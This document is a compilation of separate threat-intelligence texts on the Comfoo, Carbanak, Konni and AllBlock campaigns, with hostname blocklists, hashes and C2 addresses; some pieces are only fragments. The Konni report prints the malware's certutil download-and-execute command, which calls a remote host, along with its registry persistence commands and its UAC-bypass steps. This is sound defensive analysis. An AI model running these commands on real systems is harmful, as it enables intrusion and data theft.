Comfoo is the tip of an iceberg. The CTU research team notified many Comfoo victims, either directly or through the computer security incident response teams (CSIRTs) in their respective country. Analysis was also shared with law enforcement. Based on the number of campaign tags observed in malware samples versus those seen in live monitoring by the CTU research team, there are likely hundreds more unidentified victims.
Most businesses will never see a Comfoo infection. However, evaluating whether an organization is a potential target of cyber-espionage is important in any risk evaluation. Chief information security officers should maintain awareness of any reported cyber-espionage threats in their business sector. If one player in an industry is targeted, it is likely all major players (or newcomers with interesting technology) in that industry will be targets at some point.
Organizations compromised by Comfoo (or most types of APT malware) likely face a major forensic and eradication effort. This effort should be followed by a major investment in security measures to keep cyber-espionage actors out of the network. Many in-house security teams do not have the APT expertise to respond to a persistent threat that requires a persistent, active, and layered defense model spanning the entire attack surface of an organization. As a result, the organization might need outside expertise to effectively mitigate these types of threats.
## Appendix: Comfoo hostnames for blacklisting consideration
```
accounts.ddns.info
active.googleupdate.hk
active.nifty-user.com
addr.googleupdate.hk
ahn06.myfw.us
allroot80.4pu.com
apf.googleupdate.hk
aptlkxqm.25u.com
back.agfire.com
back.winsupdate.com
bbs.dynssl.com
bbs.gladallinone.com
bigdog.winsself.com
billgates.itsaol.com
bjllgvtms.effers.com
blizzcon.sexidude.com
blizzcon.sexxxy.biz
buffet80.bigmoney.biz
buffet80.itsaol.com
buffet.bbsindex.com
bxpudqx.otzo.com
cart.itsaol.com
catawarm.gicp.net
cell.missingthegirl.com
cmart.iownyour.org
config.microupdata.com
copyright.imwork.net
cpt.csinfos.net
crsky.systemsupdata.com
database.googleupdate.hk
davidcat.yick.lflink.com
daviddog.gicp.net
db.themmdance.com
ddns.yourturbe.org
deminich.gicp.net
deminich.jungleheart.com
demi.yick.lflink.com
dgoil.3322.org
dns.google-login.com
do.centr-info.com
dolaamen.xicp.net
domain.centr-info.com
domain.nifty-user.com
download.yourturbe.org
dunya.8800.org
et.stoneqwer.com
eudge.3322.org
eudge.redirect.hm
european.pass.as
eurowizard.byinter.net
facebook.nifty-japan.com
fact.winsupdate.com
fbook.google-login.com
fish.windwarp.uicp.net
football.deminich.jungleheart.com
football.dynamiclink.ddns.us
foxpart.oicp.net
free3w.lflinkup.org
fr.washbart.com
ftp.alvinton.jetos.com
ftp.lucky.ddns.ms
ftpserver.3-a.net
ftp.superaround.ns02.biz
ftp.y3.3-a.net
funew.noorno.com
fun.marktie.com
funnygamea.vicp.net
games.jeepworker.com
games.noorno.com
googlemail.servehttp.com
googleupdate2009.kmip.net
graymmy.longmusic.com
gws01.microupdata.com
gws12.microupdata.com
hanoihcm.phdns01.com
havefuns.rkntils.10dig.net
henryclub.25u.com
hfwwpofuyer.4pu.com
homehost.3322.org
https.port25.biz
hyphen.dyndns.biz
hzg002.mooo.com
image.google-login.com
image.qpoe.com
info.kembletech.com
info.rumorse.com
info.whandjg.net
insert.51vip.biz
office-sevice.com
intrusion.post-horse.net
it.buglan.com
it.davyhop.com
it.pudnet.net
johnnees.rkntils.10dig.net
kapa2000.3322.org
kimomail.3-a.net
korea001.tribeman.com
korea1.mooo.com
kx.davyhop.com
lanama.jkub.com
lcyma.jetos.com
li.noorno.com
livedoor.microupdata.com
login.yahoo-user.com
lovehill.3d-game.com
lovehill.dyndns-blog.com
lovehill.xxuz.com
lsass.google-login.com
luck201202.oicp.net
mail911.nifty-login.com
mail911.nifty-user.com
mail91.nifty-login.com
mail91.nifty-user.com
mail.carsystm.net
mail.lthreebox.com
mail.mariofreegame.net
mail.mgtfcayman.com
mail.mofa.zyns.com
mailsrv.mariofreegame.net
mail.systemsupdata.com
mail.xygong.com
manpower.3322.org
marhone.vicp.net
mdb.clawsnare.com
mf.tpznet.com
microsoft.redirect.hm
mil.winsupdate.com
msnsupport.servehttp.com
zp.amazingrm.com
zp.tpznet.com
``` |
# Carbanak Gang is Back and Packing New Guns
The Carbanak financial APT group made the headlines when Group-IB and Fox-IT broke the news in December 2014, followed by the Kaspersky report in February 2015. The two reports describe the same cybercriminal gang which stole up to several hundreds of millions of dollars from various financial institutions.
However, the story is interesting not only because of the large amount of money stolen but also from a technical point of view. The Carbanak team does not just blindly compromise large numbers of computers and try to ‘milk the cow’ as other actors do; instead, they act like a mature APT group. They only compromise specific high-value targets and once inside the company networks, move laterally to hosts that can be monetized.
A few days ago, CSIS published details about new Carbanak samples found in the wild. In this blog, we will describe the latest developments in the Carbanak story.
## Casino Hotel Hack
At the end of August, we detected an attempt to compromise the network of a casino hotel in the USA. The infection vector used in this attack may have been a spearphishing e-mail with a malicious attachment using an RTF exploit or .SCR file. The attackers’ aim was to compromise PoS servers used in payment processing.
The main backdoor used by attackers was the open-source Tiny Meterpreter. In this case, however, the source was modified – the process injection to svchost.exe was added to its functionality.
This Tiny Meterpreter backdoor dropped two different malware families:
- **Win32/Spy.Sekur** – well-known malware used by the Carbanak gang
- **Win32/Wemosis** – a PoS RAM Scraper backdoor
As mentioned by our colleagues from TrendMicro, Carbanak malware is capable of targeting Epicor/NSB PoS systems, while Win32/Wemosis is a general-purpose PoS RAM Scraper which targets any PoS that stores card data in the memory. The Wemosis backdoor is written in Delphi and allows the attacker to control an infected computer remotely.
Both executables were digitally signed with the same certificate:
**Certificate details:**
- Company name: Blik
- Validity: from 02 October 2014 to 03 October 2015
- Thumbprint: 0d0971b6735265b28f39c1f015518768e375e2a3
- Serial number: 00d95d2caa093bf43a029f7e2916eae7fb
- Subject: CN = Blik
- O = Blik
- STREET = Berzarina, 7, 1
- L = Moscow
- S = Moscow
- PostalCode = 123298
- C = RU
This certificate was also used in the digital signature of a third malware family used by the same gang: **Win32/Spy.Agent.ORM**.
### Win32/Spy.Agent.ORM – Overview
Win32/Spy.Agent.ORM (also known as Win32/Toshliph) is a trojan used as one of their first-stage payloads by the Carbanak gang. The binary of the testing version was signed with a Blik certificate; moreover, Spy.Agent.ORM shares some similarities in the code with “the regular” Carbanak malware.
The Win32/Spy.Agent.ORM malware family is already known in the industry because of two blog posts. In July 2015, security company Cyphort reported the compromise of a news portal and a banking site – rbc.ua and unicredit.ua. It turns out that the compromised sites served Win32/Spy.Agent.ORM. After that, Blue Coat reported a spearphishing attempt targeting Central Bank of Armenia employees, the payload being the same.
This malware appeared on our radar at the beginning of summer 2015, and afterwards we started to track it. We have seen attempts to attack various companies in Russia and Ukraine using spearphishing e-mails that have malicious attachments consisting of .SCR files or .RTF exploits.
Here is an example of a spearphishing email sent to one of the biggest Forex-trading companies:
“Due to the high volatility of the ruble exchange rate the Bank of Russia sends rules of trading on the currency market. Password the attached document: cbr”
Here is another example of a spear phishing attempt. Email with this text was sent to the largest electronic payment service in Russia:
“According to Roscomnadzor prescript you should block the materials, which you can find in the attachment. Password is roscomnadzor”
We have seen similar .SCR files with the following filenames:
- АО «АЛЬФА-БАНК» ДОГОВОР.scr (Alfabank contract)
- Перечень материалов для блокировки от 04.08.2015г.scr (List to block)
- Postanovlene_ob_ustranenii_18.08.2015.pdf.scr
- Правила Банка России от 06.08.2015.pdf.scr (Rules of Bank of Russia)
All these attachments contained a password-protected archive with .SCR file. The files had Adobe Acrobat reader icon or MS Word icons.
In other cases, attackers used RTF files with different exploits, including an exploit for one of the latest Microsoft Office vulnerabilities, CVE-2015-1770, which was patched by Microsoft in June 2015 in MS15-059.
We have seen RTF files with the following names used in attacks:
- prikaz-451.doc
- REMITTANCE ADVICE ON REJECTION.doc
- PROOF OF REMITTANCE ADVICE.doc
- HDHS739_230715_010711_A17C7148_INTERNAL.doc
- Բանկերի և բանկային գործունեության մասին ՀՀ օրենք 27.07.2015.doc (Armenian: The Law on Banks and Banking 27.07.2015)
- PAYMENT DETAILS.doc
- АО «АЛЬФА-БАНК» ДОГОВОР.doc (Russian: Alpha-bank contract)
- AML REPORTS_20082015_APPLICATION FORM-USD-MR VYDIAR.doc
- Anti-Money Laundering & Suspicious cases.doc
- ApplicationXformXUSDXduplicateXpayment.doc
- AML USD & Suspicious cases.doc
- Amendment inquiry (reference TF1518869100.doc
- Information 2.doc
### Win32/Spy.Agent.ORM – Technical Details
Win32/Spy.Agent.ORM is a small and simple backdoor that enables the attackers to assess the victim. When executed, the trojan connects to a C&C server and receives commands to grab screenshots, enumerate running processes, and get information about the system and campaign ID. Based on that information, the malware operator decides whether the infected computer is useful: that is, whether it’s the intended target or just a system that was accidentally infected.
Here is a list of commands that it can receive from C&C server:
| Command | Purpose |
|---------|---------|
| 0x02 | Collects information about computer: Computer Name, User Name, Windows Version, Architecture (32/64 bit) and campaign ID |
| 0x03 | Collects list of running processes |
| 0x04 | Downloads binary to %TEMP% and executes |
| 0x05 | Updates itself |
| 0x06 | Deletes itself |
| 0x07 | Makes screenshot |
| 0x08 | Loads binary in the memory, without dropping to the disk |
The latest sample of this malware family found in the wild is also digitally signed with a different certificate:
**Certificate details:**
- Company name: In travel TOV
- Validity: from 21 July 2015 to 21 July 2016
- Thumbprint: 7809fbd8d24949124283b9ff14d12da497d9c724
- Serial number: 00dfd915e32c5f3181a0cdf0aaff50f8052
- Subject: CN = In travel TOV
- O = In travel TOV
- STREET = prospekt Pravdi 33
- L = Kiev
- S = Kievskaja
- PostalCode = 04108
- C = UA
Also, the latest sample is able to gain system privileges via an exploit and install itself as a system service. The trojan attempts to exploit a vulnerability – CVE-2015-2426 in the OpenType manager module (ATMFD.dll) – which was patched by Microsoft in MS15-078. The exploit for this vulnerability was leaked in a Hacking Team dump.
The digital certificate for Blik used in this case is not the only link between Win32/Spy.Agent.ORM and Win32/Spy.Sekur (Carbanak malware). They share similarities in code – take a look at the function that generates the BOTID value, for example:
The BOTID value is a unique value generated on the basis of the hardware parameters of the infected computer, and it’s used by attackers for computer identification. In both cases, generation is based on the MAC address and computer name, and the resulting value is formatted using the wsprintf function.
## Sinkhole Statistics
Our sinkhole of some C&C domains used by the Win32/Wemosis has resulted in hits from bots in the following countries. As the attacks are highly targeted, the total number of victims is low in absolute numbers. Victims in the USA are situated in several states, including Nevada (Las Vegas), California, and New York, and include casinos and hotels.
## Conclusions
Even after it has reportedly stolen hundreds of millions of dollars, the infamous Carbanak APT group isn’t resting on its laurels. On the contrary, it is very active and keeps attacking specific targets related to the finance industry, including banks, Forex-trading companies, and even an American casino hotel. Recently, we have detected malware used by the Carbanak group in the following countries, among others:
- United States of America
- Germany
- United Arab Emirates
As described in this blog post, the gang doesn’t use just one malware family to carry out its operations but several. While the code in the different families – Carbanak (Win32/Spy.Sekur), Win32/Spy.Agent.ORM, and Win32/Wemosis – is different, it does contain similar traits, including the same digital certificate.
Furthermore, the attackers are updating their arsenal with the latest exploits, such as the Microsoft Office remote code execution vulnerability, CVE-2015-1770, or the zero-day exploit leaked in the Hacking Team dumps, CVE-2015-2426.
We continue to monitor the Carbanak threats. For any inquiries or sample submissions related to the subject, contact us at: threatintel@eset.com.
## Indicators of Compromise (IoC)
**Trojan.Win32/Spy.Sekur (Carbanak malware) SHA-1:**
- A048C093C5DA06AF148CA75299960F618F878B3A
- 3552338D471B7A406D8F7E264E93B848075235C0
- 3A9A23C01393A4046A5F38FDBAC371D5D4A282F1
- 8D5F2BF805A9047D58309788A3C9E8DE395469A8
- BCF9E4DCE910E94739728158C98578A8D145BE56
- 8330BC5A3DCC52A22E50187080A60D6DBF23E7E6
- E838004A216E58C44553A168760100B497E514E8
- CF1F97879A6EB26FEDC7207D6679DFA221DD2D45
- 7267791340204020727923CC7C8D65AFC18F6F5B
- F8CBF647A64028CAE835A750EF3F8D1AA216E46C
- 33870482BA7DE041587D4B809574B458C0673E94
- 3927835C620058EFCADF76642489FC13AACE305B
- D678BD90257CF859C055A82B4A082F9182EB3437
- 0B8605D0293D04BBF610103039768CBE62E2FAAE
- 7A9BE31078BC9B5FECE94BC1A9F45B7DBF0FCE12
**RTF-exploits SHA-1:**
- D71E310ADF183F02E36B06D166F8E3AD54FDBCC9
- 5B6ABA51215A9662987F59AEF6CAE0A9E3A720B8
- 1AD84A244B7D4FBB4D89D023B21715B346027E49
- E8514BF4C4E1F35FB1737C2F28A4A4CED07AA649
- 68EA12CDCCEE01D50C23EBC29CAA96BF40925DC6
- AC95F01487B4F179A1F10684B1E0A5656940A005
**Trojan.Win32/Spy.Sekur C2 servers:**
- weekend-service.com:80
- seven-sky.org:80
- comixed.org:80
- 91.207.60.68:80
- 89.144.14.65:80
- 87.98.217.9:443
- 82.163.78.188:443
- 50.62.171.62:700
- 31.3.155.123:443
- 216.170.116.120:80
- 216.170.116.120:700
- 216.170.116.120:443
- 194.146.180.58:80
- 193.203.48.41:700
- 185.29.9.28:443
- 178.209.50.245:443
- 162.221.183.11:80
- 162.221.183.11:443
- 162.221.183.109:443
- 141.255.167.28:443
- 104.232.32.62:443
- 104.232.32.61:443
**Trojan.Win32/Spy.Agent.ORM SHA-1:**
- 2DD485729E0402FD652CF613E172EA834B5C9077
- 5E8B566095FD6A98949EF5C479CE290F520DD9E2
- 8C2C08111F76C84C7573CF07C3D319A43180E734
- 36093A6004A9502079B054041BADC43C69A0BDEB
- 6F452C76F7AC00FE1463314F5AA0A80EC4F7360C
- 850E9A10E6D20D33C8D2C765E22771E8919FC3EE
- A09F520DDED0D5292A5FA48E80DE02F9AF718D06
- 3707029DC5CBBE17FD4DE34134847F92E7324C45
- 905D0842CC246A772C595B8CF4A4E9E517683EB7
- 237784574AFB8868213C900C18A114D3FA528B95
- 6090853934833D0814F9239E6746161491CCCB44
- 3672C9F4E7F647F2AF9AE6D5EA8D9C7FF16FAF40
- EC5DADAACAE763D0E55CE6A78C9A5F57B01A5135
- 4E8EE08FF4F8DC06AFF8DE2E476AFAFBA58BDC11
- A734193F550DDA5C1FFD9FEC3A0186A0A793449C
- EFC0555418A6ED641047D29178D0DA3AEFA7ADEB
- B79E6A21D8C2813EC2279727746BDB685180751A
- 4DB58E7D0FCA8D6748E17087EB34E562B78E1FDE
- 567749B4F2330F02DD181C6C0840191CEE2186D9
- 3ACEA9477B219FC6B8C0A734E67339AE2EB2AA5B
- 2896814E5F8860E620AC633AF53A55D9AA21F8C0
- 84CC02B3C10306BFCECE8BF274B57475B056C6D6
- 207FF65543DAC6D1D9F86DFFD891C507AD24018B
- D627DD4E3850CBD571AFC4799A331054C7080B0D
- DCC932B878B374D47540D43A2DEE97F37D68267F
- 983D33F547588A59B53D7F794768B264454446D5
- 19E7C7A78C5D58945B615D98FF0990389485933F
- DED83A1E3B6630D69077976CC01321FBC946DCE2
- 170142C042BF32FF86AF680EAD86CD1AF075B0CB
- A77336620DF96642691C1E5B6C91511BFA76A5BE
- 3CEF1CA36A78CBA308FB29A46B20E5CA22D03289
- DD01331ABFF03525506CDCBAC4D76CB4EFD602A4
**RTF-exploits SHA-1:**
- 1F9462AA39645376C74566D55866F7921BD848F7
- 81E43D653ACD2B55C8D3107E5B50007870D84D76
- AC68AD2E5F5802A6AB9E7E1C1EC7FAB3C6BDBAA4
- F869C7EA683337A2249908C21B9D3283CC2DD780
- 7162BB61CD36ED8B7EE98CBD0BFFEC33D34DD3E7
- 5943ABCF662DC9634B714B1358164B65E5651D15
- A40BDF005B4B469D2C7BED1766C9DA9823E1CFB7
- 833A8D88BE11807BAE966D56B28AF7B3CC34DBCD
- AF7564EE7959142C3B0D9EB8129605C2AE582CB7
- DCC932B878B374D47540D43A2DEE97F37D68267F
**Trojan.Win32/Spy.Agent.ORM – C2 Servers:**
- 192.52.166.66
- 84.200.4.226
- 78.128.92.117
- 176.31.157.62
- clients4-google.com (192.169.82.86)
- adobe-dns-3-adobe.com (78.128.92.112)
- img.in-travelusa.com (192.169.82.86)
**Tiny Meterpreter SHA-1:**
- 28D514FE46D8B5720FE27C40C3889F3B45967CC7
- 0B0884992F28A3C1439DBA60007076B22831CE51
**Win32/Wemosis (PoS RAM Scraper) SHA-1:**
- 5E31DB305A97736C0F419A3F2F8F093FF6A1F56F
**Win32/Wemosis – C2 server:**
- 198.100.119.14
**Author:** Anton Cherepanov, ESET |
# retefe
Artefacts from various retefe campaigns
## Sources
Potential sources for various methods/functions:
1. QuasarRAT/Client/Core/Recovery/Browsers/Firefox.cs
2. Pastebin: Firefox 37+ Password & Cookie Recovery
3. PowerShell Code Repository: Using Task Sch, wrapper by BattleChicken
4. Получить handle дочернего окна - C# |
# Microsoft Help Files Disguise Vidar Malware
Microsoft Word also leveraged in the email campaign, which uses a 22-year-old Office RCE bug. |
# “KONNI” MALWARE 2019 CAMPAIGN
## Executive Summary
Throughout 2019, CyberInt Research observed multiple events related to Konni, a remote administration tool, observed in the wild since early 2014. The Konni malware family is potentially linked to APT37, a North Korean cyber espionage group active since 2012. The group's primary victims are South Korean political organizations, as well as targets in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East.
The latest activities leveraging the Konni malware family potentially target political organizations and politically motivated victims in Russia and South Korea. CyberInt Research Team observed three distinct campaigns throughout 2019, starting from January to late September. The Konni infection chain consists of multiple stages and utilizes living-off-the-land binaries in its operation, from the use of certutil.exe to download additional files and decode their content to sc.exe and reg.exe for persistence. These campaigns leverage similar C2 infrastructure for delivery and a specific free FTP service used for exfiltration of stolen data from affected targets. Additionally, the macro-armed lure documents used to deliver and install the Konni payloads have similarities across all three campaigns.
Konni is modular malware that collects reconnaissance data on the target machine prior to sending further modules. We were unable to find additional operations related to the Konni malware family that might reveal further capabilities and malware types used by the group associated with Konni activity. During our analysis, we found overlapping between the Konni infection chain, tools, and techniques used by the Syscon backdoor, using a service called COMSysApp to load the payload as a service DLL as a means to achieve persistence on the victim machine. Although we observed similarities between Konni and Syscon, at this time we can’t say with full certainty that the same threat actor is behind both operations.
## Campaign Timeline
## Execution Flow
## Konni Multi-Stage Operation
### Stage 1 – Initial Execution
In mid-July 2019, CyberInt research team observed a campaign delivering the Konni malware. The threat actor behind the campaign leveraged a malicious macro-armed Microsoft Word document titled: “О ситуации на Корейском полуострове и перспективах диалога между США и КНДР” (translated to: About the situation on the Korean Peninsula and the prospect of a dialogue between the United States and the DPRK). Unlike the previously observed campaign, the August campaign potentially targeted Russian language speakers with an interest in the Korean geopolitical situation; the lure document used in this campaign is written in Cyrillic and contains content related to North Korean American foreign affairs.
When analyzing the document, we see that the internal codepage of the lure document is 949 - ANSI/OEM Korean (Unified Hangul Code), indicating that the actor who created the document used a Korean keyboard layout. This is an indication that the author is a Korean native speaker.
The lure document contains VBA macro code with the following capabilities:
- Changes the font color from light grey to black to trick the victim into enabling content.
- Checks if Windows is a 32 or 64-bit version.
- Constructs and executes the command-line to download additional files.
The document contains three hidden textboxes. Each has a hexadecimal string constructed to a command line executed once the document is opened by the victim.
**Full Command Line example:**
```
c:\windows\system32\cmd.exe /q /c copy /y %windir%\system32\certutil.exe %temp%\mx.exe && cd /d %temp% && mx -urlcache -split -f http://handicap.eu5[.]org/1.txt && mx -decode -f 1.txt 1.bat && del /f /q 1.txt && 1.bat
```
Certutil is a living-off-the-land command line utility that can be used to obtain certificate authority information and configure certificate services. Threat actors usually utilize certutil to download remote files from a given URL. It also incorporates a built-in function to decode base64-encoded files. CMD silently copies certutil.exe into the temp directory and renames it to “mx.exe” in an attempt to evade detection and then downloads 1.txt from a remote resource: http://handicap.eu5[.]org. The text file contains a base64 encoded string that is decoded by certutil and saved as 1.bat. The threat actor removes tracks by silently deleting 1.txt from the temp directory and then executes 1.bat.
### Stage 2 – Privilege Escalation
The batch script acts as a second stage downloader and downloads two additional files, depending on the system architecture. Certutil is executed to download a txt file and decode its content. Decoding each base64 string (32-bit or 64-bit version) results in a cabinet file – setup.cab.
The content of the cabinet file is then extracted into the %temp% folder, and the setup.cab file is deleted from the system.
- **Install.bat** – acts as installer to ensure persistence and execute mshlpsrvc.dll.
- **mshlpweb.dll** – acts as loader; responsible to elevate privileges.
- **mshlpsrvc.dll** – final payload; responsible for data exfiltration.
- **mshlpsrvc.ini** – configuration file; contains URL used by mshlpsrvc.dll.
Both dropped DLL files are unsigned and packed with UPX packer. To check the level of permissions, the threat actor uses net.exe. If the current user has high privileges, install.bat is executed directly. Otherwise, mshlpweb.dll is executed using rundll32.exe.
mshlpweb.dll is a loader that uses a known token impersonation technique to elevate permissions and execute install.bat with high privileges. To gain higher privileges, mshlpweb.dll executes the Windows Update Standalone Installer, wusa.exe. This process runs as a high-integrity process by default, since it's set to auto-elevate within its manifest.
mshlpweb.dll contains an access token impersonation routine that duplicates the token of the high integrity instance of wusa.exe and uses it to create a new cmd.exe process running under the security context of the impersonated user.
### Token Impersonation Routine
mshlpweb.dll utilizes a set of standard Windows API calls to duplicate the token of wusa.exe and use it to spawn a high integrity instance of cmd.exe. Higher privileges are needed to execute the installer, install.bat. The technique used by the threat actor is a full fileless UAC bypass named “Cavalry” that was leaked back in March 2017 to WikiLeaks as part of “Vault 7", a series of leaks on the US CIA that included sophisticated privilege escalation techniques used by several actors in the wild since the leakage. This technique also bypasses UAC with the “AlwaysNotify” settings.
**Technique flow:**
- wusa.exe is executed in a hidden window using ShellExecuteExW.
- Handle to the access token associated with wusa.exe is created.
- The token object of wusa.exe is duplicated using DuplicateTokenEx. The threat actor passes “Token_all_access” as desired access, which combines all possible access rights for a token and creates a new impersonation token.
- A new SID with medium privileges is created and set with NtSetInformationToken to the new duplicated token to lower its mandatory integrity level.
- A restricted token is then created and duplicated using NtFilterToken and DuplicateTokenEx respectively.
- The new duplicated token is passed to ImpersonateLoggedOnUser.
- An elevated cmd instance is spawned using CreateProcessWithLogonW function.
### Stage 3 – Persistence
When the installer is executed, it first stops COMSysApp, a service that manages the configuration and tracking of Component Object Model (COM)-based components, using sc.exe utility.
- COMSysApp service is first configured to autostart and the binpath of the service is set to svchost.exe:
```
sc config COMSysApp type= interact type= own start= auto error= normal bin path= "%windir%\System32\svchost.exe -k COMSysApp"
```
This is a commonly used technique for persistence, as it will automatically start the service after a successful login.
- COMSysApp service is added under the “SvcHost” key as a preliminary step to its execution in the context of svchost.exe:
```
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost" /v COMSysApp /t REG_MULTI_SZ /d "COMSysApp"
```
- The malicious DLL is added as a service DLL of COMSysApp:
```
reg add "HKLM\SYSTEM\CurrentControlSet\Services\COMSysApp\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%windir%\System32\mshlpsrvc.dll"
```
- COMSysApp service is restarted.
Once the COMSysApp service is restarted, the malware is loaded in memory, and the batch file is removed from the infected system. The final payload (mshlpsrvc.dll) and its configuration file (mshlpsrvc.ini) are both copied into the system32 directory from the temp directory and then deleted.
### Stage 4 – Data Reconnaissance and Exfiltration
After the COMSysApp service is restarted, a new instance of Svchost.exe is spawned and loads mshlpsrvc.dll. mshlpsrvc.ini is a configuration file that is delivered together with the final payload mshlpsrv.dll in an earlier stage. This file contains a Base64-encoded string with a custom key, the file is read by and decoded by mshlpsrvc.dll to perform an outbound connection and download handicap[.]eu5[.]org/4.txt.
**Data Reconnaissance**
Prior to execution of any recon command to gather information from the target machine, the default codepage of the CMD console is changed to “65001” (utf-8):
```
cmd /c REG ADD HKCU\Console /v CodePage /t REG_DWORD /d 65001 /f
```
The following information is gathered from the affected machine and sent back to the control server:
- System info using: `cmd /c systeminfo >%temp%\temp.ini`
- List of running processes using: `cmd /c tasklist >%temp%\temp.ini`
- The temp.ini file is then compressed into a cabinet file and saved to `C:\Windows\TEMP`:
```
cmd /c makecab "C:\Windows\TEMP\temp.ini" "C:\Windows\TEMP\temp.cab"
```
The downloaded file, 4.txt, contains a base64 encoded string with the same custom key. Following decoding, the file content appears to be the FTP credentials for the FTP service that acts as the command & control server for this attack. We’ve observed similar past campaigns where other free FTP services were used as the C2 for Konni and Syscon variants, starting from October 2017.
**Exfiltration**
The data is exfiltrated using the following:
- The temp.cab is base64 encoded with the same custom key used earlier.
- Encoded temp.cab is copied to a post.txt under the directory `C:\Windows\TEMP`.
- Files uploaded to the control server using the “stor” command.
## Konni Campaigns-2019
CyberInt Research Team observed three additional outbursts throughout the year: two similar samples observed in January 2019, and another one in September 2019.
### Hash Comparison
Imphash (for “import hash”) is a unique hash value assigned to PE files based on the import table of the file. The hash is calculated by the library and API function names and their order within the executable. This is an efficient way of pivoting on malicious executables that share a similar payload and are most likely created by the same group.
| DLL Name | SHA-256 | Imphash | Compile Time |
|------------------|-------------------------------------------------------------------------|-------------------------------------------|-----------------------|
| compvgk.dll | 6256ba2b89c78877328cc70d45db980310a5 | 2818b3a61dc203ee75c9312d428b24a | 2019-01-21 03:01:58 |
| comsyslib2.dll | 274e706809a1c0363f78363d0c6a7d256be5b | 2818b3a61dc203ee75c9312d428b24a | 2019-01-30 06:06:34 |
| mshlpsrvc.dll | ceb8093507911939a17c6c7b39475f5d4db70 | 419ec273a5550a29fd3ce9d1b09bd155 | 2019-07-12 09:08:33 |
| mshlpsrvc.dll | 7d2b1af486610a45f78a573af9a9ad00414680 | 22453bac1da954a5399ae66ee20e9b9d | 2019-07-12 09:09:52 |
| xclientsvc.dll | 7f6984fa9d0bbc1bd6ab531f0a8c2f4beb15d | 22453bac1da954a5399ae66ee20e9b9d | 2019-09-05 07:05:43 |
| xclientsvc.dll | 290c942da70c68d28a387775fbb7e6cab674 | 419ec273a5550a29fd3ce9d1b09bd155 | 2019-09-05 07:06:27 |
The compiler's linker builds the Import Address Table (IAT) based on the specific order of functions within the source file. The same Imphash value indicates that the PE IAT table includes the same functions and in the same order. This is strong evidence that ties together different payloads from different campaigns to the same threat actor.
### Doc Properties Comparison
All lure documents associated with Konni activities are written in Cyrillic and potentially target political organizations and politically motivated victims in Russia. Notwithstanding, we found that all three documents' internal codepage is set to 949 - ANSI/OEM Korean (Unified Hangul Code).
### Macro Comparison
The lure document is armed with a VBA macro that essentially comprises the command line to be executed. The final command line that is composed by the macro is identical across all three campaigns except for the C2 URL, where the next stager is downloaded from. In our example from the July campaign, the final command line is:
```
c:\windows\system32\cmd.exe /q /c copy /y %windir%\system32\certutil.exe %temp%\mx.exe && cd /d %temp% && mx -urlcache -split -f http://handicap.eu5[.]org/1.txt && mx -decode -f 1.txt 1.bat && del /f /q 1.txt && 1.bat
```
Below you can see the evolution and changes made in the macro code level throughout the Konni attacks; one notable change is the switch to hidden text boxes within the document that contain the hex representation of the commands instead of using it directly in the macro.
### Decoding Routine
The Konni malware family uses a custom base64 key to encode the content of several files in the exfiltration phase. We observed the same flow of data reconnaissance and exfiltration across all campaigns.
The decoding routine is identical in all Konni samples we have analyzed, which indicates code reuse by the threat actor.
## MITRE ATT&CK Techniques
| Execution | Persistence | Defense Evasion | Discovery | Collection | Exfiltration | C&C |
|-----------|-------------|------------------|-----------|------------|---------------|-----|
| Modify Command-Line Interface | New Service | Access Token Manipulation | Process Discovery | Alternative Encoding | Exfiltration | |
| Bypass User Account Control | | | | | | |
## IOCs
**Lure Documents**
- 8da5b75b6380a41eee3a399c43dfe0d99eeefaa1fd21027a07b1ecaa4cd96fdd
- 4c201f9949804e90f94fe91882cb8aad3e7daf496a7f4e792b9c7fed95ab0726
- ed63e84985e1af9c4764e6b6ca513ec1c16840fb2534b86f95e31801468be67a
**Konni Loader**
- 6a22db7df237c085855deb48686217173dc2664f4b927ebe238d4442b68a2fd3
- 2ab1b28bae24217e8b6dd0cd30bb7258fa34c0d7337ecfea55e4310d08aeb1e6
**Konni Final Payload DLL**
- e94fa697d8661d79260edf17c0a519fae4b2a64037aa79b29d6631205995fdad
- 6256ba2b89c78877328cc70d45db980310a51545a83d1d922d64048b57d6c057
- 52ba17b90244a46e0ef2a653452b26bcb94f0a03b999c343301fef4e3c1ec5d2
- 7d2b1af486610a45f78a573af9a9ad00414680ff8e958cfb5437a1b140acb60c
- ceb8093507911939a17c6c7b39475f5d4db70a9ed3b85ef34ff5e6372b20a73e
- 8795b2756efa32d5101a8d38ea27fca9c8c7ed1d54da98f0520f72706d1c5105
- 7f6984fa9d0bbc1bd6ab531f0a8c2f4beb15de30f2b20054d3980395d77665af
- 290c942da70c68d28a387775fbb7e6cab6749547d278cb755b4999e0fe61a09f
- 274e706809a1c0363f78363d0c6a7d256be5be11039de14f617265e01d550a98
**IP Addresses**
- 69.197.143.12
- 185.27.134.11
- 88.99.13.69
- 162.253.155.226
**Domains**
- clean.1apps[.]com
- handicap.eu5[.]org
- panda2019.eu5[.]org
- ftpupload[.]net |
# The Ad Blocker That Injects Ads
Deceptive ad injection is a growing concern on the internet today, affecting many people browsing the web. While the concept isn’t new (Google stated it was the most common complaint amongst Chrome users back in 2015), bad actors are constantly refining their techniques.
Imperva’s research team is constantly monitoring and researching client-side attacks to better understand the attacker’s TTPs (Tactics, techniques, and procedures). In this post, we’ll break down a new ad injection campaign that Imperva Research Labs recently uncovered. The campaign was targeting users of some of the largest websites in the world through an extension available on both Chrome and Opera browsers called AllBlock.
## What is Ad Injection?
Ad injection is the process of inserting unauthorized advertisements into a publisher’s web page with the intention of enticing the user to click on them. Ad injection can originate from various sources like malicious browser extensions, malware, and even through stored cross-site scripting (XSS).
Ad injectors are often made by scammers who want to cash in on application downloads. They can generate revenue for their creators by serving ads and stealing advertising impressions from other websites. Other uses of ad injection, mostly common in retail e-commerce, include:
1. Brands can advertise on competitors’ sites, potentially stealing customers away.
2. Price comparison ads can be used to distract customers’ attention from making a purchase.
3. Affiliate codes or links can be injected as well, allowing scammers to cash in on purchases without ever helping a single customer.
## Identifying the Threat
On August 22, 2021, during a routine check of potential threats, Imperva Research Labs discovered unknown malicious domains distributing an ad injection script. One of them was hxxps://frgtylik.com/KryhsIvSaUnQ.js, which works in the following way:
1. The script sends a list of all the links that are currently present in the page, including the full URL of the page, to a remote server.
2. The server returns the list of domains it wants to redirect back to the script.
3. Whenever the user clicks on a link that has been altered, the user will then be hijacked to a different page.
